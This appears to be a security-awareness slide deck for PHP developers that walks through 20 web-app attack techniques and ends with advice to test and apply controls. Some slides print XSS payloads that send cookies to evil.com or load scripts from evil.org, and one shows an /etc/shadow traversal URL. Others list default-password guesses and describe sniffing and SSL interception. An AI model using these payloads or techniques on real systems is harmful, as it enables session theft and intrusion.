20 Hacker Tricks for Attacking Web Apps

Barry Austin

http://doboard.com

Why Does This Affect PHP Developers?

Malicious hackers:

- can earn $$$
- have big-time imagination (at least the elite ones)
- spend more time thinking about security holes than the typical developer
- have a strong and growing community of developers and other experts
- can have a poor batting average and still win

Hacker (popular usage) != Hacker (geek usage)

http://en.wikipedia.org/wiki/Hacker

http://en.wikipedia.org/wiki/Hacker_definition_controversy

‘nuff said

Feed an Onion to the XSS Filter

A basic filter might remove <script> tags from user input…

What happens if the filter removes <script> from <sc<script>ript> ?

Alternative JavaScript #1

```
<img src="javascript:window.navigate
('http://evil.com/steal-cookie.php?c='
+document.cookie);">
```

Alternative JavaScript #2

\x3cscript\x20src\x3d"http://evil.org/xss.js"\x3e\x3c/script\x3e

In other words:

<script src="http://evil.org/xss.js"></script>

Edit the DOM

<b onMouseOver="self.location.href ='http://evil.com/"">pwn’d

More XSS

The knowledge has been out there a while…

http://www.technicalinfo.net/papers/CSS.html

http://ha.ckers.org/xss.html

CSRF (Gmail Incident)

http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/

Fun with Form Fields

Suppose a web form presents a pick list... and the browser returns the selection in a POST.

If the app doesn’t check the selection against the original list…

An attacker can send whatever input they want.

Play with POST

Hidden form fields sometimes contain sensitive information like userid, admin status

Tools exist to arbitrarily generate or manipulate POST messages (WebProxy, Achilles, etc.)

Tweak the URL

http://domain.com/

➔

http://domain.com/admin/

Manipulate Parameters

http://domain.com/index.php?user=135

http://domain.com/index.php?user=1

Version Intelligence

With browser plugins, easily capture HTTP headers with version info for Apache, PHP etc.

Version info reveals what hasn’t been patched.

Follow the News

Find products with serious security flaws, then Google for sites with affected versions.

http://www.securityfocus.com/archive/1

Crack Cookies

Sometime cookies contain sensitive information that's obfuscated rather than encrypted.

Common techniques include HTTP escape encoding (a.k.a. URL encoding) and base64 encoding.

Edit Cookies

Anything coming from the browser can be easily manipulated.

So if application state information is stored in cookies, then an attacker can edit the cookie to manipulate the state.

Mine for Errors

Error messages may contain useful details about the application and server.

Abuse Weak Crypto

Attacker could create a valid admin cookie for WordPress because of a crypto flaw.

http://www.lightbluetouchpaper.org/2007/11/20/wordpress-cookie-authentication-vulnerability/

Sniff for Passwords

Exploit the fact that people often use the same password for many things

Capture passwords at public/insecure WiFi hot spots

- POP3 email
- less-secure web sites

Record the sites used

- email provider, web hosting and blog admin, banking & commerce sites

Access less-secure sites & services, and use recorded passwords to get into secure sites

Sniff Session IDs

Similar idea to sniffing passwords

Session IDs available in HTTP headers / cookies

Use the captured session ID to hijack the logged-in user's session

Guess a Password

For http://easyhack.com, user=admin

I would try: [blank], password, password1, p@$$w0rd, easyhack, easyhack1, e@$yh@ck, admin, admin123, @dm1n, adminpass, etc...

Tools exist to auto-generate these, and even incorporate dictionaries of words and known passwords.

SSL Proxy

Attacker can provide open WiFi near a public area... with internet access via an SSL proxy.

The proxy plays “man-in-the-middle”, intercepting SSL handshakes

Who really reads all those certificate warnings, anyway?

Captures supposedly encrypted admin passwords and other highly useful information

MIME Type Abuse

File name: mypic.jpg

MIME type: application/x-winexe

Browsers obey the MIME type first

File Inclusion (Server)

http://www.securityfocus.com/bid/27174/exploit

File Inclusion (Browser)

```
<img src="http://evil.org/xss.js">
```

Directory Traversal

http://sucka.com/filez/download.php?file=../../../../../../../../../../../../etc/shadow

JSON Callbacks

http://blog.adamjacobmuller.com/gmail.txt

http://ajaxian.com/archives/gmail-csrf-security-flaw

What to Do?

This talk was about “abuse cases” – twisted version of “use cases”

Assume that people will try to abuse your apps

Implement appropriate security controls

Test

References and Resources

http://www.owasp.org

http://phpsec.org

http://phpsecurity.org

http://www.sans-ssi.org

http://www.webappsec.org